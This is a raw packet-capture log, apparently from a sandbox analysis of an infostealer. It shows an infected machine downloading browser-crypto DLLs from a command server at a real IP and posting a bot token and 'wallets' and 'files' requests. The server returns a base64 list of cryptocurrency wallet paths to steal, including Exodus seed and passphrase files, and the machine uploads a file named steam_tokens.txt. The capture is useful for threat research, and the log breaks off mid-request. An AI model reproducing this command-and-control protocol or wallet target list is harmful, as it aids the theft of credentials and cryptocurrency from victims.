Oct 27, 2024 17:54:36.788256884 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Oct 27, 2024 17:54:36.788326025 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Oct 27, 2024 17:54:36.788355112 CET	1236	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)
Oct 27, 2024 17:54:36.788366079 CET	1236	IN	Data Raw: 8c 00 00 00 8b 55 ac 89 c8 31 db 39 ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 Data Ascii: U19t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G
Oct 27, 2024 17:54:36.788377047 CET	548	IN	Data Raw: ff 8b 75 08 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 66 0f 1f 44 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff Data Ascii: ufDT>\>=t%>>f1hM1)^_[]USWV01Eh1E=s hk
Oct 27, 2024 17:54:36.788388014 CET	1236	IN	Data Raw: ff ff ff ff eb 16 8b 55 0c 8b 4d 08 56 ff 75 18 50 ff 75 10 e8 0b 00 00 00 83 c4 10 5e 5d c3 cc cc cc cc cc 55 89 e5 53 57 56 83 ec 34 89 4d f0 8b 45 14 89 45 d8 39 45 0c 73 17 68 03 e0 ff ff e8 f2 f5 07 00 83 c4 04 b8 ff ff ff ff e9 79 08 00 00 Data Ascii: UMVuPu^]USWV4MEE9EshyU}]E}}aM}$7$7u2M$E}$7$7u]S2MQ
Oct 27, 2024 17:54:36.788400888 CET	1236	IN	Data Raw: 66 0f fe 25 00 21 08 10 66 0f 70 c9 e8 66 0f 70 d2 e8 66 0f 62 ca 66 0f 6e 54 07 04 66 0f 60 d3 66 0f 61 d3 66 0f eb cf 66 0f 72 f4 17 66 0f fe e5 f3 0f 5b e4 66 0f 70 ea f5 66 0f f4 d4 66 0f 70 e4 f5 66 0f f4 e5 66 0f 70 d2 e8 66 0f 70 e4 e8 66 Data Ascii: f%!fpfpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1f
Oct 27, 2024 17:54:36.788414001 CET	224	IN	Data Raw: 8b 45 f0 88 14 30 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 10 09 c8 8b 4d e8 8b 55 ec 01 d1 83 c1 04 0f b6 c9 8b 55 f0 0f b6 14 0a 00 d3 0f b6 f3 8b 7d f0 8a 34 37 8b 7d f0 88 34 0f 8b 4d f0 88 14 31 8b 75 d8 00 d6 0f b6 ce 8b 55 f0 0f b6 14 0a Data Ascii: E0UMUU}47}4M1uU3UMEM}}Eu;uUM}Et}EPEE}
Oct 27, 2024 17:54:39.941764116 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 17:54:40.301978111 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 27, 2024 17:54:42.102766037 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 17:54:42.402410030 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 27, 2024 17:54:43.244568110 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 17:54:43.533814907 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 27, 2024 17:54:45.369102955 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 17:54:45.803299904 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 27, 2024 17:54:46.084314108 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 17:54:46.373138905 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 27, 2024 17:54:47.103971004 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDA Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 27, 2024 17:54:47.896966934 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 17:54:47.948254108 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJECBGIJDGCAEBFIIECA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 2d 2d 0d 0a Data Ascii: ------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="message"wallets------IJECBGIJDGCAEBFIIECA--
Oct 27, 2024 17:54:48.241038084 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:48 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 27, 2024 17:54:48.244553089 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIIEBGCAAECBGCBGCBK Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 49 45 42 47 43 41 41 45 43 42 47 43 42 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 45 42 47 43 41 41 45 43 42 47 43 42 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 45 42 47 43 41 41 45 43 42 47 43 42 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------AFIIEBGCAAECBGCBGCBKContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------AFIIEBGCAAECBGCBGCBKContent-Disposition: form-data; name="message"files------AFIIEBGCAAECBGCBGCBK--
Oct 27, 2024 17:54:48.535523891 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 17:54:48.558367968 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKEGDGCGDAKEBFIJEC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="file"------CAKKEGDGCGDAKEBFIJEC--
Oct 27, 2024 17:54:49.340837002 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 17:54:49.383287907 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 2d 2d 0d 0a Data Ascii: ------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="message"ybncbhylepme------GDGDHJJDGHCAAAKEHIJK--
Oct 27, 2024 17:54:49.674958944 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 17:54:49.680908918 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKEHIJJKEGIDHIEHDAF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 